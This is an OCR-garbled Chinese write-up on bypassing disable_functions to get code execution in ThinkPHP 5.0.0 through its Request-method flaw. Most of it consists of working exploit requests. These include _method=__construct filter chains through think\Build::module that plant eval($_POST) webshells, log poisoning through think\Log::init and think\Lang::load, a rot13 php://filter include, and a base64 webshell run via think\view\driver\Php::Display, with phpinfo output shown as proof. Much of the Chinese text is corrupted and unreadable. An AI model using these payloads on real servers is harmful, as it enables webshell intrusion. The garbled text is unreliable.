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e thinkphp hR7s: 5.0.0

e php RRA: 7

o XNTESXHEM T RE




o ban IEFBRIBESENEIUR LN

disable_functions

unserialize,passthru, penti_exec, pentl_fork,pentl_

wait, exec,system,chroot,charp,chown, shell_exec,

proc_open,proc_get_status,popen, ini_alter,ini_re
store,dl,openlog,syslog, readlink,symlink,link,pop
epassthru,stream_socket_server, putenv,imap_op
en,ld,dl,mail,error_log,pentl_fork,fsockopen, pfso
ckopen

unserialize, passthru, pentl_exec, pentl_fork, pentl_
wait,exec,system, chroot, chgrp,chown,shell_exec,
proc_open, proc_get_status,popen, ini_alter,ini_re
store,dl,openlog, syslog, readlink,symlink,link, pop
epassthru,stream_socket_server, putenv,imap_op
en,Id,dl,mail error_log,pentl_fork,fsockopen,pfso
ckopen

e I&E open_basedir iy web B&

T Mbasedir

max_input_time 60 60
max_input_vars 1000 1000
memory_limit

128M

[var/www/html/

output_buffering

4096

128M

/var/www/html/

4096

output_encoding

output_handler

o IXEXTE public BRXTAIE

root@kali:/var/www/html/null# 1s

drwxr-xr-x
drwxrwxrwx
drwxr-xr-x
=PWXr=Xr=X
-PWXr=Xr-X
=PWXr=Xr=X
drwxr-xr-x
=PWXr=Xr=X
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root
root
root
root
root
root
root
root
root
root
root
root
root
root

4096
4096
4096
1099
612
5144
4096
26
1822
4096
5585
736
4096
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108
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108
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108
1eH
108
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108
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108
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root
root
root
root
root
root
root
root
root
root
root
root
root
root

+n BB

application
build.php
composer.json
composer.lock
extend
.gitignore
LICENSE.txt

README .md
think
thinkphp
vendor

£ TP5.0.0 B9F, BRIATMRIRZFEFNA Request 3%
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RSB IRIEETFEN NUC, XUSRK Dall 1252 25X H) M H Y
BB LREAXGE S, EEXHEEM TR EES
log X4, FRARBEMABINAEANF,

XLERBIFAKT, FIAFEERIMNEE EE— shell 3k
SRRIG4E4% disable_function,

B5t TP5.0.0 BRIRGFEE I ZEE Request YR LET
E‘—Eﬁ&z RCE, ERETAEHER, BNEBERELBHN
TREMEE,

filtervalue(&

= array_pop(
( )
(is_callable( )) A

= call_user_func(
(is_scalar( 1) Al
(strpos(

('preg_match(

call_user_func @ UBBHITR, FNIEAR LA PHP B
= HY BRI P R EE A ban 14, Pﬁuﬁ'ﬂ]ﬁaﬁMﬁ 51

REEARARANF, BRBNFEEE FXTR. AJEHERE
MUIENZERRE, BN —EXNRNGE, B
BHSHEE.

&
PHPRFERE Astringf/zU&ERY. FILAERIERNBESAFBEXRE, BRTIESEHME0: array(), echo,
empty(), eval(), exit(), isset(), list(), print &% unset(), w

— M EEHHERT object RIFEBAER array 1558, THx 0 E1Z object, Tin 1 BEHER. HRE—IEEALLIG
|8) protected # private /%,




oo 0 1 DR A2 e oo B T, T

‘ClassName: :methodName ',

J53%— thinkphplibrarythinkBuild::module

BeAl TR A A B 1 XN R E#S 75 7A module, RSE
MBS HRIERTE.

form-data x-www-form-urlencoded raw

_method __construct Text v Q

filter[0] think\Build::module Text ~ Q

method GET Text ~ Q

get[0] test Text v 6
Text v

Preview Add to collection

BIMABEXMNMZEAE, BMNBRZXT mkdir 27
application gliZ2E%, BB TXREME E AL
#., RIE TP REENREANLEI MM PEHRIT. BBATA]
AIDAEIT . ./public/test EBIEBE.

112 NZ buildhello R,




ESeimie &AM AT BATE public 8 7 —1 test 1&IR,
[EI1FZE %! test/controller/Index.php HFAIFFE
BY ../public/test fR1F T FRIBAENIMST, EZH
TRZEERI—EERE RSB EERT.

index()

<style type="text/css">*{ padding: margin: + { padding: 4px

BT XE D AB AHEB B IMIEMEFFEEENT, &
(IEIIYSEE/N

test;eval($_POST[a]);#/../../public/test; , Eﬁé%}lﬁ{r

PANE N
=856

Build.php Request.php Index.php
app\test [al)
Index

index()

<style type="text/css">+{ padding: margin: IF { padding:




BREE—TREFERR, MEHAXIFR payload
FIRE— T IAFEBZRMMAI ARG SEEFBIA eval
R, ERMNERFE—TEBENFEEFREE,

module(

(1is_dir(

midir(C

(basename (

::buildCommon(

e linux I/ 1B

:/var/www/html/null/public# 1s -la
B 32
drwxrwxrwx 3 root root 4096 114 12 21:56
drwxr-xr-x 8 root root 4096 104 30 18:07 ..
-rwxrwxrwx 1 root root 1150 104 29 01:13 favicon.ico
-rwxrwxrwx 1 root root 216 104 29 01:13 .htaccess
-rwxrwxrwx 1 root root 766 10/ 29 01:13 index.php
-rwxrwxrwx 1 root root 24 10/ 29 01:13 robots.txt
-rwxrwxrwx 1 root root 736 104 29 01:13 router.php
drwxrwxrwx 2 root root 4096 104 29 01:13

:/var/www/html/null/public# php -a
Interactive mode enabled

test/../testl");
mkdir(): No such file or directory in php shell code on line 1
PHP Stack trace:
1. {main}() php shell code:0
2. mkdir() php shell code:1

\test_trojan

LastWriteTime Length Name

2020/11/9 18:45 thinkphp_5.0.24_with_extend

, .test_trojan

Interactive shell

php > mkdir("test/../testl")
php >
php >
- L,
D:\User_Setting\Desktop\test_trojan




2020/11/12 22:05
2020/11/9 18:U45 thinkphp_5.0.2U_with_extend

eL
p\test_trojan

£ Linux PAREERIEANFENB R, BR2E win TR
M, BRIRER warning, FASHEHT, HEE
bindhello REFEH(ISEE:

Hh mkdir RETEE recursive SEH true, A1FE!3
SR ZRHREMNBE R, XHEFERH A ME mkdir PERRF
ENBEFERMA TS, ERUEE MM FIE
mkdir A9 warning IREEH TP R BEESRE A
HAITEENAS, BABRNMEEER—LEEHITHIH
B, HMNEEMEASAE—TERE error_reporting ,
AT LAMER error_reporting(0) HIHIIREE.

BAIBRIZCERITR, FA1AI call_user_func EKZS
MITESNITREFBIREZ call_user_func() FR=[E]
RS HHTER, AUFEEZER—TNEARETEE
AT H B IR

1. WRBHAVIE error reporting MIEBIEIIIT, iS4



=t A HZIRE 0 MITSHEERITHBARE,

2. RIS thinkBuild: :module HXBIME, BBA
thinkphp IREHABERITEIN,

BRMEHNBAN—THREE, EEIRNITEEEMRINE
EBR, #H error_reporting MBERINIAIT, XEHMER
TZEHE| PHP 55388LEE;, PHP B 0 == null, 0 == 3F
WFHLNFRS,

payload 0 FAJ/R:

form-data x-www-form-urlencoded raw

_method __construct Text v
filter(] think\Build::module Text v
method GET Text v
filter[] error_reporting Text v

get] ../public/test Text v

000000

get]] test;eval($_POST[a]):#/../../public/test; Text v

http://192.168.218.128/null/public/test;/controller/Index.php PO

form-data x-www-form-urlencoded raw

a phpinfo(); Text v 0
Key Value Text v
Preview Add to collection
ody 200 OK 223ms
Pretty =~ Raw = Preview -
System Linux kali 5.8.0-kali3-amd64 #1 SMP Debian 5.8.14-1kali1 (2
Build Date Oct 18 2020 19:45:22
Server API Apache 2.0 Handler
Virtual Directory Support disabled
Configuration File (php.ini) Path /etc/php/7.4/apache2
Laadad Fanficuratinn Eila latr InhnfT Alanarhadlnhn ini




FiEZ FREENSEIEETENEIR
payload #1F:

http://192.168.218.128/null/public/index.php?s=captcha

form-data  x-www-form-urlencoded raw

_method __construct Text v Q

filter[] think\Build::module Text v 0

method GET Text b4 o

get]] test//...../public//?><?php eval($_GET[e Text v 0
Text v

Preview Add to collection

XEMSER IR IREEEMNERER, AEER -
> BEMA, FHEELBECHM payload BIF], {BEXHF

SFEE—NE, FoEE win BMETER, win X4

RPRBERXEFRF / o« » 2 " <> |

HE= XHEE & php A

XHMIREME, BTET ZHIAY thinkBuild: :module 5
XH#HE, BANABEHA] rot13 HIBEN, AEE
I think__include file THAFKIIBEAXXENANSE, AR
EMTIEAETE, AIMEBRNESB1IAEHASR.

http://192.168.218.128/null/public/index.php?s=captcha

form-data x-www-form-urlencoded raw

_method __construct Text W 0

filter[] think\Build::module Text b 0

method GET Text v 0

getf] s/<?cuc riny(trgnyyU iR REC B | Text Y Q
Text b

Ke Value
Fetching data... Preview Add to collection



http://192.168.218.1 ic/i php?s=captcha POST v C
emd phpinfo(); [x] Manage presets
Header Value

form-data X-www-form-urlencoded raw
_method __construct Text v 0
filter[] think\__include_file Text v e
method GET Text ~ o
getl] php:/ffilter/read=string.rot13/resource=. Text v 0
Key Value Text v
Preview Add to collection

Body 200 ok [ 650 ms
Pretty Raw Preview -
| System | Linux kali 5.8.0-kali3-amd64 #1 SMP Debian 5.8.14-1kali1 (2020-10-13) x86_€

Kl BEHTEBRZEA

ARFEYE error_log R ban 3827, BRLAIXNIEFRER
fRZTEA ban 32 error_log KENRYIE)R FEASCENAY,

payload BE{RE0T:



4 ——- WebKitFormBoundaryPS8RbPBhA2hus5r8

5 Content-Disposition: form-data; name="_method"

7 __construct
8 ————- WebK i tFormBoundaryPS8RbPBhAZhus5r8
9 Content-Disposition: form—data; name="filter[]"

1 json_decode
2 ——- WebK i tFormBoundaryPS8RbPBhA2hus5r8
3 Content-Disposition: form-data; name="method"

6 ——- WebK i tFormBoundaryPS8RbPBhAZhus5r8
7 Content-Disposition: form—-data; name="filter[]"

9 get_object_vars
0 ——- WebK i tFormBoundaryPS8RbPBhAZhus5r8
Content-Disposition: form-data; name="filter[]"

3 think\Log::init
4 ——-] WebKitFormBoundaryPS8RbPBhAZhus5r8
5 Content-Disposition: form-data; name="get[]"

7 {"type":"File", "path":"/var/www/html/null/public/logs"}
8 ———— WebK i tFormBoundaryPS8RbPBhA2hus5r8——

1. ﬁﬁfl json_decode ﬁE%?%ﬁﬂ]ﬁ%)\E@ {"type":"File",
"path":"/var/www/html/null/public/logs"} E?Eiﬁipﬁﬁiﬂé
stdClass FJ— X%,

2. BB get_object_vars JGEFEIRANENAE NG

thinkLog::init EPO



3. FEAE new T—" thinklogdriverrile , FHIEAN
NS

B 'path'=>/var/www/html/null/public/logs , HPASRY
ALY construct, IEHEIAR path LABEIE,

4. REARMBENMLREREVEHRE, BESREES
REBEE A UHITAE log XHEHE.




5. ZEﬁEﬂ thinkLang::load @,l/?_ﬁ\o

Handle phr

http://192.168.218.128/null/public/index.php?s=captcha&test=<?=eval(getallheaders()['shell]);?> POST v & URL params

shell phpinfo() (%] Manage presets

form-data x-www-form-urlencoded raw

_method __construct Text Y Q
filter{] think\Lang::load Text 9
method GET Text v Q
get]) Ivarfwwwihtmi/nul/publiclogs2020111  Text Q
Text v

[ T



lody STATUS PLLT-U Time LT H
Pretty ~Raw = Preview =

[ 2020-11-15T23:08:16+08:00 ] 192.168.218.128 192.168.218.1 POST /null/public/index.php/?s=captcha

BEL = RARNERIRERSHIE

TEEE RN F.

<?php
class A{
public function testl1($a){
echo "testl".$a;

}
static function test2($a){
echo "test2".$%a;

ks

public function test3($a){
$this->b = $a;
echo "test3".$this->b;

}

call_user_func("A::testl","x");

echo "</br>";
call_user_func("A::test2","x");

echo "</br>";
call_user_func("A::test3","x");

echo "</br>";

//$xxx=new AQ);
//call_user_func(array($xxx, 'test3'),"x");

BIBEEBEREBLHIT.

S&RIER: BAT public M7 EH BEETERRINH
17, BEREkE. AH: MXESERERRES

hAhENT o L=V ANE Vo — Iy AN L =) +& 7 il



Sthis HYIB/JL, A/ Sthis FETUVHYZEIR | AZR, FX/NE

MNREASRE. BAFAE—T TEMN payload Fi&

—HRFAHE, payload H3CH T IR EEIFREARZHIHIEE1RAY 5
—MaE, ABRIEHRELL TP ARIBEE LT,

X RRfRRY payload 81 :

http://192.168.218.128/null/public/index.php?s=captcha

form-data x-www-form-urlencoded raw

_method __construct

filter[] set_error_handler

method GET

filter(] self::path

filter(] base64_decode

filter] \think\view\driver\Php::Display

get[] phpversion

path PD9waHAgZXZhbCgkX1BPU1RbYVO0f
a phpinfo();

Key Value

1. A PHP KB REIRGIEH thinkphp R #1740
12, P EEMENE thinkphp FAIEREIRHITAIENT
ARSI EINEEERIT,

2. A seif::path 733K, AIMAMIFIEHEA]L—THATH
REME  HBIRGIHAIERE N naen - RAALIRE



A 1Y) /] Al AR J/V L I LTIRI 7 NH J i 0 S AL A

path, path At AZBNVEANE, XTHMEZAHEES
R IBHITRMEES T Request EISE, FTAAE
REINZ sthis->path , X THATRIAIEH,

pathQ)|

(is_null(
= Config: :get(

->pathinfo()
f

3. ZEEM baseb4_decode, REIEMEF (] baseb4
RIEMNAS,

4. RIBENIREEMRFEN
thinkviewdriverPhp: :Display EF', [’?\S}—E‘E)\ eval #l,?i"f‘%

E_%O




http://192.168.218.128/null/public/index.php?s=captcha POST v & URL params

form-data  x-www-form-urlencoded = raw

_method __construct Text =y o
filter{] set_error_handler Text e 0
method GET Text ¥ o
filter{] self::path Text v °
filter{] base64_decode Text V9
filter[] \think\view\driver\Php:: Display Text v o
get]] phpversion Text v Q
path PDSwaHAQZXZhbCgkX1BPU1RbYVO;  Text 124 Q
a phpinfo(); Text “ °
Key Text ~:
Preview Add to collection
Body 2000k [T 478 ms
Pretty ~ Raw | Preview -

EEE
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http://ksria.com/simpread
http://ksria.com/simpread/docs/#/%E8%AF%8D%E6%B3%95%E5%88%86%E6%9E%90%E5%BC%95%E6%93%8E

